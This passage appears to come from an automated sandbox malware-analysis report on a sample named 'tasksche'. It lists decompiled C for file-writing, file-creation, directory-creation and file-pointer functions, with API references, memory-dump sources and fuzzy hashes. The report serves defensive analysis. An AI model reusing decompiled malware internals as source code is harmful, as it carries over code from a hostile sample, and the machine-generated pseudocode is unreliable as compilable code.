								 *(_t147 - 0x9aa8) = _t116;
								 *((char*)(_t147 - 0x9a94)) = 0;
								if(__eflags != 0) {
									E00418AFF(_t147 - 0xe6ec,  *(_t141 + 0x8941) & 0x000000ff, 0);
								} else {
									_push(_t116);
									_push(_t84);
									_push(_t139); // executed
									E004071DF(_t134, __eflags); // executed
								}
								asm("sbb ecx, ecx");
								_t88 = E00409AE9(_t106, _t141 + 0x59b8, _t134, __eflags, _t106,  ~( *(_t141 + 0x99e2) & 0x000000ff) & _t141 + 0x000099e3);
								__eflags = _t88;
								if(_t88 != 0) {
									 *(_t147 - 4) =  *(_t147 - 4) | 0xffffffff;
									E004155EF(_t106, _t147 - 0xe6ec, _t139); // executed
									L6:
									_t69 = 1;
									goto L28;
								} else {
									E0040639F(0x1d, _t141 + 0x1e, _t141 + 0x8948);
									E004062BA(0x4335ac, 3);
									_t124 =  *(_t147 + 8);
									__eflags =  *(_t147 + 8);
									if( *(_t147 + 8) != 0) {
										E00401B67(_t124);
									}
									L12:
									 *(_t147 - 4) =  *(_t147 - 4) | 0xffffffff;
									E004155EF(_t106, _t147 - 0xe6ec, _t139);
									goto L27;
								}
							}
							_t96 =  *((intOrPtr*)(_t141 + 0x6524));
							__eflags =  *((char*)(_t96 + 0x4124));
							if( *((char*)(_t96 + 0x4124)) == 0) {
								goto L12;
							}
							asm("sbb edx, edx");
							_t134 =  ~( *(_t141 + 0x99b8) & 0x000000ff) & _t141 + 0x000099b9;
							_t97 = _t96 + 0x4024;
							__eflags = _t96 + 0x4024;
							E0040B883(_t139, 0,  *((intOrPtr*)(_t141 + 0x99b4)), _t97,  ~( *(_t141 + 0x99b8) & 0x000000ff) & _t141 + 0x000099b9, _t141 + 0x99c9,  *((intOrPtr*)(_t141 + 0x9a04)), _t141 + 0x99e3, _t141 + 0x99da);
							goto L19;
						}
						__eflags =  *(_t141 + 0x997c);
						if(__eflags < 0) {
							L13:
							_t106 =  *(_t147 + 8);
							__eflags = _t106;
							if(_t106 != 0) {
								E00401C1D(_t106,  *((intOrPtr*)(_t141 + 0x9978)));
								E0040B8CE(_t139,  *_t106,  *((intOrPtr*)(_t141 + 0x9978)));
							} else {
								 *((char*)(_t141 + 0x2111)) = 1;
							}
							goto L16;
						}
						if(__eflags > 0) {
							L11:
							_t145 = _t141 + 0x1e;
							__eflags = _t141 + 0x1e;
							E00406376(0x1c, _t145);
							goto L12;
						}
						__eflags =  *((intOrPtr*)(_t141 + 0x9978)) - 0x1000000;
						if( *((intOrPtr*)(_t141 + 0x9978)) <= 0x1000000) {
							goto L13;
						}
						goto L11;
					}
					__eflags =  *((intOrPtr*)(__ecx + 0x99b1)) - _t75;
					if( *((intOrPtr*)(__ecx + 0x99b1)) != _t75) {
						goto L7;
					}
					goto L6;
				} else {
					E00406376(0x1b, __ecx + 0x1e);
					E004062BA(0x4335ac, 3);
					L27:
					_t69 = 0;
					L28:
					 *[fs:0x0] =  *((intOrPtr*)(_t147 - 0xc));
					return _t69;
				}
			}

0x00402c8b
0x00402c90
0x00402c9a
0x00402ca1
0x00402cab
0x00402cc9
0x00402cd0
0x00402f0e
0x00402f0e
0x00402f0e
0x00402f14
0x00000000
0x00402f14
0x00402ce8
0x00402ced
0x00402cef
0x00000000
0x00000000
0x00402cfb
0x00402cfb
0x00402d01
0x00402d12
0x00402d12
0x00402d1a
0x00402d1f
0x00402d26
0x00402d2b
0x00402d3a
0x00402d3d
0x00402d42
0x00402d45
0x00402da8
0x00402da8
0x00402daf
0x00402e04
0x00402e06
0x00402e14
0x00402e28
0x00402e31
0x00402e37
0x00402e3e
0x00402e49
0x00402e4f
0x00402e59
0x00402e5c
0x00402e63
0x00402e69
0x00402e6f
0x00402e75
0x00402e7b
0x00402e82
0x00402e9e
0x00402e84
0x00402e84
0x00402e85
0x00402e86
0x00402e87
0x00402e87
0x00402eac
0x00402ebe
0x00402ec3
0x00402ec5
0x00402efa
0x00402f04
0x00402d0b
0x00402d0b
0x00000000
0x00402ec7
0x00402ed4
0x00402ee0
0x00402ee5
0x00402ee8
0x00402eea
0x00402ef0
0x00402ef0
0x00402d68
0x00402d68
0x00402d72
0x00000000
0x00402d72
0x00402ec5
0x00402db1
0x00402db7
0x00402dbe
0x00000000
0x00000000
0x00402de4
0x00402dec
0x00402def
0x00402def
0x00402dff
0x00000000
0x00402dff
0x00402d47
0x00402d4d
0x00402d7c
0x00402d7c
0x00402d7f
0x00402d81
0x00402d94
0x00402da3
0x00402d83
0x00402d83
0x00402d83
0x00000000
0x00402d81
0x00402d4f
0x00402d5d
0x00402d5d
0x00402d5d
0x00402d63
0x00000000
0x00402d63
0x00402d51
0x00402d5b
0x00000000
0x00000000
0x00000000
0x00402d5b
0x00402d03
0x00402d09
0x00000000
0x00000000
0x00000000
0x00402cad
0x00402cb3
0x00402cbf
0x00402f19
0x00402f19
0x00402f1b
0x00402f21
0x00402f29
0x00402f29

APIs

__EH_prolog.LIBCMT ref: 00402C90

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 2276fc182cef91394af53d89cd26c1ad4be35ff672cc550e66d7eee5d0ea8f8a
Instruction ID: d2613427887af626ac15b725df06f6c4975e9b849f4698f9cbfae21a5c634ed1
Opcode Fuzzy Hash: 2276fc182cef91394af53d89cd26c1ad4be35ff672cc550e66d7eee5d0ea8f8a
Instruction Fuzzy Hash: 8E615870505B40AADB34DB39C999BEBB7E4AF51304F00456FF4AB622C2CBBC2944DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00408AA9 Relevance: 1.6, APIs: 1, Instructions: 104
fileCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E00408AA9(intOrPtr* __ecx, void* __edx, void* _a4, long _a8) {
				long _v8;
				char _t28;
				long _t33;
				void* _t34;
				void* _t37;
				void* _t38;
				char _t43;
				intOrPtr _t48;
				void* _t56;
				void* _t61;
				struct _OVERLAPPED* _t63;
				intOrPtr* _t68;

				_t61 = __edx;
				_push(__ecx);
				_t68 = __ecx;
				if(_a8 != 0) {
					if( *((intOrPtr*)(__ecx + 0xc)) == 1) {
						 *((intOrPtr*)(__ecx + 4)) =  *0x42a220(0xfffffff5);
					}
					while(1) {
						_t63 = 0;
						_t43 = 0;
						_v8 = 0;
						if( *((intOrPtr*)(_t68 + 0xc)) == 0) {
							goto L12;
						}
						if(_a8 <= 0) {
							L14:
							if( *((char*)(_t68 + 0x14)) == 0 ||  *((intOrPtr*)(_t68 + 0xc)) != 0) {
								L21:
								_t28 = _t43;
								 *((char*)(_t68 + 8)) = 1;
								L22:
								return _t28;
							} else {
								if(E00406336(0x4335ac, _t68 + 0x1e, 0) == 0) {
									E004064F3(0x4335ac, 0, _t68 + 0x1e);
									goto L21;
								}
								_t33 = _v8;
								if(_t33 < _a8 && _t33 > 0) {
									_t48 =  *_t68;
									_t38 =  *((intOrPtr*)(_t48 + 0x10))(0);
									asm("sbb edx, edi");
									 *((intOrPtr*)(_t48 + 0xc))(_t38 - _v8, _t61);
								}
								continue;
							}
						} else {
							goto L7;
						}
						while(1) {
							L7:
							_t56 = _a8 - _t63;
							_t34 = 0x4000;
							if(_t56 < 0x4000) {
								_t34 = _t56;
							}
							_t37 =  *0x42a21c( *(_t68 + 4), _a4 + _t63, _t34,  &_v8, 0);
							asm("sbb bl, bl");
							_t43 =  ~(_t37 - 1) + 1;
							if(_t43 == 0) {
								goto L14;
							}
							_t63 = _t63 + 0x4000;
							if(_t63 < _a8) {
								continue;
							}
							L13:
							if(_t43 != 0) {
								goto L21;
							}
							goto L14;
						}
						goto L14;
						L12:
						WriteFile( *(_t68 + 4), _a4, _a8,  &_v8, 0); // executed
						asm("sbb bl, bl");
						_t43 = 1;
						goto L13;
					}
				}
				_t28 = 1;
				goto L22;
			}

0x00408aa9
0x00408aac
0x00408ab2
0x00408ab4
0x00408ac1
0x00408acb
0x00408acb
0x00408ad0
0x00408ad0
0x00408ad2
0x00408ad4
0x00408ada
0x00000000
0x00000000
0x00408adf
0x00408b40
0x00408b44
0x00408ba1
0x00408ba2
0x00408ba4
0x00408ba9
0x00408bab
0x00408b4c
0x00408b60
0x00408b9c
0x00000000
0x00408b9c
0x00408b62
0x00408b68
0x00408b76
0x00408b7c
0x00408b86
0x00408b8c
0x00408b8c
0x00000000
0x00408b68
0x00000000
0x00000000
0x00000000
0x00408ae1
0x00408ae1
0x00408ae4
0x00408ae6
0x00408aed
0x00408aef
0x00408aef
0x00408b01
0x00408b0c
0x00408b0e
0x00408b10
0x00000000
0x00000000
0x00408b12
0x00408b1b
0x00000000
0x00000000
0x00408b3c
0x00408b3e
0x00000000
0x00000000
0x00000000
0x00408b3e
0x00000000
0x00408b1f
0x00408b2d
0x00408b38
0x00408b3a
0x00000000
0x00408b3a
0x00408ad0
0x00408ab6
0x00000000

APIs

WriteFile.KERNELBASE(00000001,?,00000000,?,00000000,?,?,?,?,?,0040BB41,?,?,00000000,?,?), ref: 00408B2D

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 2630e5a33cfd0af18d09aa74bbfd8346207367a51011a650ef626fa881f46d74
Instruction ID: f20fcf70e75a5c6d44a32b1c4255a65a5bf54a4d93884812af3801fc7a684339
Opcode Fuzzy Hash: 2630e5a33cfd0af18d09aa74bbfd8346207367a51011a650ef626fa881f46d74
Instruction Fuzzy Hash: 9B31C371300204AFDB209F65CA44BAB77A9EB94310F04813FF996E72C1DB78A905DF29

Uniqueness

Uniqueness Score: -1.00%

Function 00408923 Relevance: 1.6, APIs: 1, Instructions: 86
fileCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00408923(void* __ecx, WCHAR* _a4, long _a8) {
				long _v8;
				char _v4104;
				signed char _t38;
				signed int _t42;
				void* _t51;
				signed char _t54;
				char _t60;
				intOrPtr* _t62;
				void* _t64;

				E0041AAF0(0x1004);
				_t64 = __ecx;
				_t54 = _a8;
				_t38 = _t54 >> 0x00000001 & 0x00000001;
				if((_t54 & 0x00000010) != 0 ||  *((intOrPtr*)(__ecx + 0x1c)) != 0) {
					_t60 = 1;
				} else {
					_t60 = 0;
				}
				 *(_t64 + 0x18) = _t54;
				_v8 = ((0 | _t38 == 0x00000000) - 0x00000001 & 0x80000000) + 0xc0000000;
				_a8 = 0 | _t60 != 0x00000000;
				_t42 =  *(E0040A08A(_t60, _a4)) & 0x0000ffff;
				_t62 =  *0x42a234;
				if(_t42 == 0x2e || _t42 == 0x20) {
					 *(_t64 + 4) =  *(_t64 + 4) | 0xffffffff;
				} else {
					_t51 = CreateFileW(_a4, _v8, _a8, 0, 2, 0, 0); // executed
					 *(_t64 + 4) = _t51;
				}
				if( *(_t64 + 4) == 0xffffffff && E0040A3DC(_a4,  &_v4104, 0x800) != 0) {
					 *(_t64 + 4) =  *_t62( &_v4104, _v8, _a8, 0, 2, 0, 0);
				}
				 *((char*)(_t64 + 0x12)) = 1;
				 *((intOrPtr*)(_t64 + 0xc)) = 0;
				 *((char*)(_t64 + 0x10)) = 0;
				E00410B9C(_t64 + 0x1e, _a4, 0x800);
				return 0 |  *(_t64 + 4) != 0xffffffff;
			}

0x0040892b
0x00408932
0x00408934
0x0040893b
0x00408943
0x0040894e
0x0040894a
0x0040894a
0x0040894a
0x00408953
0x00408971
0x00408974
0x0040897c
0x0040897f
0x00408989
0x00408991
0x00408997
0x004089a5
0x004089a7
0x004089a7
0x004089ae
0x004089dc
0x004089dc
0x004089eb
0x004089ef
0x004089f2
0x004089f5
0x00408a07

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000002,00000000,00000000,?,?,?,-00000011,?,00408777,?,-00000011,?), ref: 004089A5

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a074d9b34406725a99dd7798f6dc6781e4ed09d04832e0e73d262d8c08033346
Instruction ID: 01d84b190ee352a3a297c1effa4f932d2cea621e1ee0f9c6dc0f58f94aa457de
Opcode Fuzzy Hash: a074d9b34406725a99dd7798f6dc6781e4ed09d04832e0e73d262d8c08033346
Instruction Fuzzy Hash: F621E6B1000709AFDB20AF28CD41AEA7BA9EB04324F00853EF5D5972D1CA799D859B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040935F Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0040935F(void* __ebx, void* __ecx, void* __edi, signed int _a4, char _a8) {
				signed int _v8;
				char _v4104;
				signed int _t21;
				void* _t25;
				signed int _t26;
				signed int _t34;
				void* _t36;
				signed int _t40;
				signed short* _t45;
				signed short* _t48;
				void* _t49;
				void* _t50;

				E0041AAF0(0x1004);
				_t48 = _a4;
				if(_t48 == 0 ||  *_t48 == 0) {
					__eflags = 0;
					return 0;
				} else {
					_a4 = _a4 & 0x00000000;
					_t36 = 1;
					_t45 = _t48;
					while(1) {
						_t21 = _a4 >> 1;
						_v8 = _t21;
						if(_t21 >= 0x800) {
							break;
						}
						if(E0040A0C5( *_t45 & 0x0000ffff) == 0 || _t45 <= _t48) {
							L9:
							_a4 = _a4 + 2;
							_t45 =  &(_t45[1]);
							if( *_t45 != 0) {
								continue;
							}
							break;
						} else {
							if(_t45 !=  &(_t48[2])) {
								L8:
								_t40 = _v8;
								E0041C853( &_v4104, _t48, _t40);
								_t50 = _t50 + 0xc;
								 *((short*)(_t49 + _t40 * 2 - 0x1004)) = 0;
								_t34 = E004092C9(_t58,  &_v4104, 1, 0);
								asm("sbb bl, bl");
								_t36 =  ~_t34 + 1;
								goto L9;
							}
							_t58 = _t48[1] - 0x3a;
							if(_t48[1] == 0x3a) {
								goto L9;
							}
							goto L8;
						}
					}
					_t61 = _a8;
					if(_a8 == 0) {
						_t25 = E0040A0C5( *(E0040A08A(_t61, _t48)) & 0x0000ffff);
						_t62 = _t25;
						if(_t25 == 0) {
							_t26 = E004092C9(_t62, _t48, 1, 0); // executed
							asm("sbb bl, bl");
							_t36 =  ~_t26 + 1;
						}
					}
					return _t36;
				}
			}

0x00409367
0x0040936d
0x00409372
0x0040942c
0x00000000
0x00409382
0x00409382
0x00409388
0x0040938a
0x0040938c
0x0040938f
0x00409391
0x00409399
0x00000000
0x00000000
0x004093a6
0x004093ef
0x004093ef
0x004093f4
0x004093f9
0x00000000
0x00000000
0x00000000
0x004093ac
0x004093b1
0x004093ba
0x004093ba
0x004093c6
0x004093cb
0x004093d1
0x004093e2
0x004093eb
0x004093ed
0x00000000
0x004093ed
0x004093b3
0x004093b8
0x00000000
0x00000000
0x00000000
0x004093b8
0x004093a6
0x004093fb
0x004093ff
0x0040940b
0x00409410
0x00409412
0x00409419
0x00409422
0x00409424
0x00409424
0x00409412
0x00000000
0x00409429

APIs

_wcsncpy.LIBCMT ref: 004093C6

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _wcsncpy
String ID:
API String ID: 1735881322-0
Opcode ID: eec277942e391c224009335c7c4fdbf9ccf01f1ad50b69e55fa7bc55e694a795
Instruction ID: d4505bb1f71f0a7630b1187c5dc073957316d7994076f763c5609016dbc7fb68
Opcode Fuzzy Hash: eec277942e391c224009335c7c4fdbf9ccf01f1ad50b69e55fa7bc55e694a795
Instruction Fuzzy Hash: 1821F9705412146ADF209BA5C8817EF73A8AF09744F104067FD84E71C2E6BC9DC58799

Uniqueness

Uniqueness Score: -1.00%

Function 00401768 Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00401768(intOrPtr* __ecx, void* __edx) {
				void* __edi;
				void* _t25;
				signed int _t27;
				intOrPtr _t30;
				signed int _t31;
				intOrPtr _t35;
				void* _t54;
				void* _t58;

				_t51 = __edx;
				E0041A4DC(0x429705, _t58);
				_t56 = __ecx;
				if( *((intOrPtr*)(__ecx + 0xb056)) != 0) {
					E0040117B(_t58 - 0x1c, __edx, __ecx);
					 *(_t58 - 4) = 0;
					__eflags =  *(__ecx + 0x658c);
					if( *(__ecx + 0x658c) == 0) {
						_push(0);
						_t25 = E00401B26(__ecx);
						_push(_t51);
						 *((intOrPtr*)( *__ecx + 0xc))();
						_t27 = E00403767(__ecx, _t51, _t58, __eflags, 0x42a48c);
						_t54 = _t25;
						__eflags = _t27;
						if(_t27 == 0) {
							L6:
							 *((char*)(_t58 + 0xb)) = 0;
						} else {
							_t31 = E004012EA(_t56, _t54,  *((intOrPtr*)(_t58 + 8))); // executed
							 *((char*)(_t58 + 0xb)) = 1;
							__eflags = _t31;
							if(_t31 == 0) {
								goto L6;
							}
						}
					} else {
						_push(0);
						_push(0);
						_push( *((intOrPtr*)(__ecx + 0xb060)) + 0x14);
						 *((intOrPtr*)( *__ecx + 0xc))();
						E0040369F(__edx, _t58);
						_t35 =  *((intOrPtr*)(_t58 + 8));
						__eflags =  *(_t35 + 4);
						 *((char*)(_t58 + 0xb)) =  *(_t35 + 4) > 0;
					}
					_t15 = _t58 - 4;
					 *_t15 =  *(_t58 - 4) | 0xffffffff;
					__eflags =  *_t15;
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t58 - 0x1c)))) + 0xc))( *((intOrPtr*)(_t58 - 0x14)),  *((intOrPtr*)(_t58 - 0x10)), 0);
					_t30 =  *((intOrPtr*)(_t58 + 0xb));
				} else {
					_t30 = 0;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t58 - 0xc));
				return _t30;
			}

0x00401768
0x0040176d
0x00401777
0x00401781
0x0040178e
0x00401793
0x00401796
0x0040179c
0x004017c7
0x004017ca
0x004017cf
0x004017d3
0x004017dd
0x004017e2
0x004017e3
0x004017e5
0x004017f9
0x004017f9
0x004017e7
0x004017ec
0x004017f1
0x004017f5
0x004017f7
0x00000000
0x00000000
0x004017f7
0x0040179e
0x004017a6
0x004017aa
0x004017ab
0x004017ae
0x004017b3
0x004017b8
0x004017bb
0x004017be
0x004017be
0x00401801
0x00401801
0x00401801
0x0040180c
0x0040180f
0x00401783
0x00401783
0x00401783
0x00401817
0x0040181f

APIs

__EH_prolog.LIBCMT ref: 0040176D

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: c5dcd452fd1e4eeec7eacad65d6409f1913b512c17b790326e9b6827e8618ada
Instruction ID: 903a9e83ebfadd1395375551f57b58f4375dbb7200b7f1b09ca9293e13445996
Opcode Fuzzy Hash: c5dcd452fd1e4eeec7eacad65d6409f1913b512c17b790326e9b6827e8618ada
Instruction Fuzzy Hash: C5210275600144AFCB05EF6488908AEBBB9EF44314B00C06FF866773E2CB389E01DB68

Uniqueness

Uniqueness Score: -1.00%

Function 00408CA0 Relevance: 1.6, APIs: 1, Instructions: 59fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,?,00000000,00000000,004335AC,?,00000000,?,?,00408EB0,?,00000000,?,?,00000000), ref: 00408CC9

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: c1fed62a9ea2a8515d50b02984c21f09fd940ae1629289a4c1ded04f954c3d6f
Instruction ID: b149f771e66fe820b49a3db0cdc04a66bbf6f60059da98a6e892905e95da3d99
Opcode Fuzzy Hash: c1fed62a9ea2a8515d50b02984c21f09fd940ae1629289a4c1ded04f954c3d6f
Instruction Fuzzy Hash: B411A734504608EFEB205B50DA4096A37A8FF71374B10863FE996A52D1DE3DCD41DF2A

Uniqueness

Uniqueness Score: -1.00%

Function 004071DF Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004071DF(void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t17;
				void* _t20;
				intOrPtr _t21;
				intOrPtr _t30;
				intOrPtr _t33;
				void* _t35;
				void* _t43;
				intOrPtr _t45;

				_t28 = __edx;
				E0041A4DC(0x4294da, _t35);
				E00406760(_t35 - 0x1c, 0x40000);
				_t30 =  *((intOrPtr*)(_t35 - 0x1c));
				 *(_t35 - 4) =  *(_t35 - 4) & 0x00000000;
				_t17 = E0040B94E( *((intOrPtr*)(_t35 + 8)), __edx, _t30,  *((intOrPtr*)(_t35 - 0x18))); // executed
				_t33 = _t17;
				if(_t33 != 0) {
					_push(_t20);
					_t21 =  *((intOrPtr*)(_t35 + 0xc));
					while(_t33 != 0xffffffff) {
						_t43 = 0 -  *((intOrPtr*)(_t35 + 0x10));
						if(_t43 >= 0 && (_t43 > 0 || _t33 >= _t21)) {
							_t33 = _t21;
						}
						E0040BAFE( *((intOrPtr*)(_t35 + 8)), _t28, _t35, _t30, _t33);
						_t45 =  *((intOrPtr*)(_t35 + 0x10));
						if(_t45 >= 0 && (_t45 > 0 || _t21 >= 0)) {
							_t21 = _t21 - _t33;
							asm("sbb dword [ebp+0x10], 0x0");
						}
						_t17 = E0040B94E( *((intOrPtr*)(_t35 + 8)), _t28, _t30,  *((intOrPtr*)(_t35 - 0x18)));
						_t33 = _t17;
						if(_t33 != 0) {
							continue;
						}
						break;
					}
					_pop(_t20);
				}
				_t48 = _t30;
				if(_t30 != 0) {
					_push(_t30);
					_t17 = E0041A506(_t20, _t30, _t33, _t48);
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t35 - 0xc));
				return _t17;
			}

0x004071df
0x004071e4
0x004071f6
0x004071fe
0x00407204
0x00407209
0x0040720e
0x00407212
0x00407214
0x00407215
0x00407218
0x0040721f
0x00407222
0x0040722a
0x0040722a
0x00407231
0x00407236
0x0040723a
0x00407242
0x00407244
0x00407244
0x0040724f
0x00407254
0x00407258
0x00000000
0x00000000
0x00000000
0x00407258
0x0040725a
0x0040725a
0x0040725b
0x0040725d
0x0040725f
0x00407260
0x00407265
0x0040726b
0x00407273

APIs

__EH_prolog.LIBCMT ref: 004071E4

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: d72615110fc3833dc462cb349b7f85338f9682357bb2a541038f14bca1383879
Instruction ID: 0e7476b061c64c38a033d28293548f621ad6c4fedd1d6d7b32e1dff298444af0
Opcode Fuzzy Hash: d72615110fc3833dc462cb349b7f85338f9682357bb2a541038f14bca1383879
Instruction Fuzzy Hash: F611E336D04216A7CB21AE69D881BAF7774AB84724F00427FF910772C0C77CAD4186AE

Uniqueness

Uniqueness Score: -1.00%

Function 004092C9 Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E004092C9(void* __eflags, WCHAR* _a4, char _a8, intOrPtr _a12) {
				char _v4100;
				signed int _t9;
				void* _t11;
				void* _t12;
				int _t21;
				WCHAR* _t22;
				intOrPtr* _t23;
				void* _t24;

				_t24 = __eflags;
				E0041AAF0(0x1000);
				_t22 = _a4;
				_t9 =  *(E0040A08A(_t24, _t22)) & 0x0000ffff;
				_t23 =  *0x42a238;
				if(_t9 == 0x2e || _t9 == 0x20) {
					L3:
					if(E004092A5(_t22) != 0 || E0040A3DC(_t22,  &_v4100, 0x800) == 0) {
						L9:
						_t11 =  *0x42a258();
						__eflags = _t11 - 2;
						if(_t11 == 2) {
							L12:
							_t12 = 2;
							return _t12;
						}
						__eflags = _t11 - 3;
						if(_t11 == 3) {
							goto L12;
						}
						return 1;
					} else {
						_push(0);
						_push( &_v4100);
						if( *_t23() == 0) {
							goto L9;
						}
						goto L6;
					}
				} else {
					_t21 = CreateDirectoryW(_t22, 0); // executed
					if(_t21 != 0) {
						L6:
						if(_a8 != 0) {
							E0040908D(_t22, _a12);
						}
						return 0;
					}
					goto L3;
				}
			}

0x004092c9
0x004092d1
0x004092d8
0x004092e1
0x004092e4
0x004092ee
0x004092ff
0x00409307
0x00409341
0x00409341
0x00409347
0x0040934a
0x00409356
0x00409358
0x00000000
0x00409358
0x0040934c
0x0040934f
0x00000000
0x00000000
0x00000000
0x0040931f
0x0040931f
0x00409327
0x0040932c
0x00000000
0x00000000
0x00000000
0x0040932c
0x004092f6
0x004092f9
0x004092fd
0x0040932e
0x00409332
0x00409338
0x00409338
0x00000000
0x0040933d
0x00000000
0x004092fd

APIs

Part of subcall function 0040A08A: _wcslen.LIBCMT ref: 0040A090

CreateDirectoryW.KERNELBASE(00000000,00000000,00000000,?,?,?,0040941E,?,00000001,00000000,?,?,?,?,?), ref: 004092F9

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: CreateDirectory_wcslen
String ID:
API String ID: 2011010700-0
Opcode ID: e440fb91986ed667ecea05b8623b67f22d0563812c7c3dc4cd5ad5119d8de580
Instruction ID: 5cfd1deac55777c6f3d5c0bdf32a3cf990456680eccb4e8d5c114054f7fd3324
Opcode Fuzzy Hash: e440fb91986ed667ecea05b8623b67f22d0563812c7c3dc4cd5ad5119d8de580
Instruction Fuzzy Hash: DD01C031100204A5DB216A664C42BBB37589B4EB84F88447BFD41F62D2CB7C9C92D97E

Uniqueness

Uniqueness Score: -1.00%

Function 00408BAE Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00408BAE(void* __ecx, signed int __edx) {
				long _v8;
				long _t10;
				signed int _t13;
				signed int _t26;
				long _t29;
				void* _t32;

				_push(__ecx);
				_t32 = __ecx;
				_t26 = __edx | 0xffffffff;
				if( *((intOrPtr*)(__ecx + 4)) != _t26) {
					L3:
					_v8 = 0;
					_t10 = SetFilePointer( *(_t32 + 4), 0,  &_v8, 1); // executed
					_t29 = _t10;
					if(_t29 != 0xffffffff ||  *0x42a258() == 0) {
						L7:
						asm("cdq");
						_t13 = E0041ABD0(_v8, _t26, 0, 1) + _t29;
						asm("adc edx, ecx");
					} else {
						if( *((intOrPtr*)(_t32 + 0x14)) == 0) {
							_t13 = _t26 | 0xffffffff;
						} else {
							E00406402(0x4335ac, _t32 + 0x1e);
							goto L7;
						}
					}
				} else {
					if( *((intOrPtr*)(__ecx + 0x14)) == 0) {
						_t13 = _t26;
					} else {
						E00406402(0x4335ac, __ecx + 0x1e);
						goto L3;
					}
				}
				return _t13;
			}

0x00408bb1
0x00408bb4
0x00408bb6
0x00408bbe
0x00408bd3
0x00408bde
0x00408be1
0x00408be7
0x00408bec
0x00408c0b
0x00408c10
0x00408c1b
0x00408c1d
0x00408bf8
0x00408bfb
0x00408c2b
0x00408bfd
0x00408c06
0x00000000
0x00408c06
0x00408bfb
0x00408bc0
0x00408bc3
0x00408c24
0x00408bc5
0x00408bce
0x00000000
0x00408bce
0x00408bc3
0x00408c23

APIs

SetFilePointer.KERNELBASE(?,00000000,?,00000001), ref: 00408BE1

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 401041f812e38b2c9cc7bc658f647880eeddc778264b755613b9ad4916800595
Instruction ID: 02e03e75e993c9a8a945b97f90e28c3a97864ede8bf9f3e31abc9cd0b64ad5c5
Opcode Fuzzy Hash: 401041f812e38b2c9cc7bc658f647880eeddc778264b755613b9ad4916800595
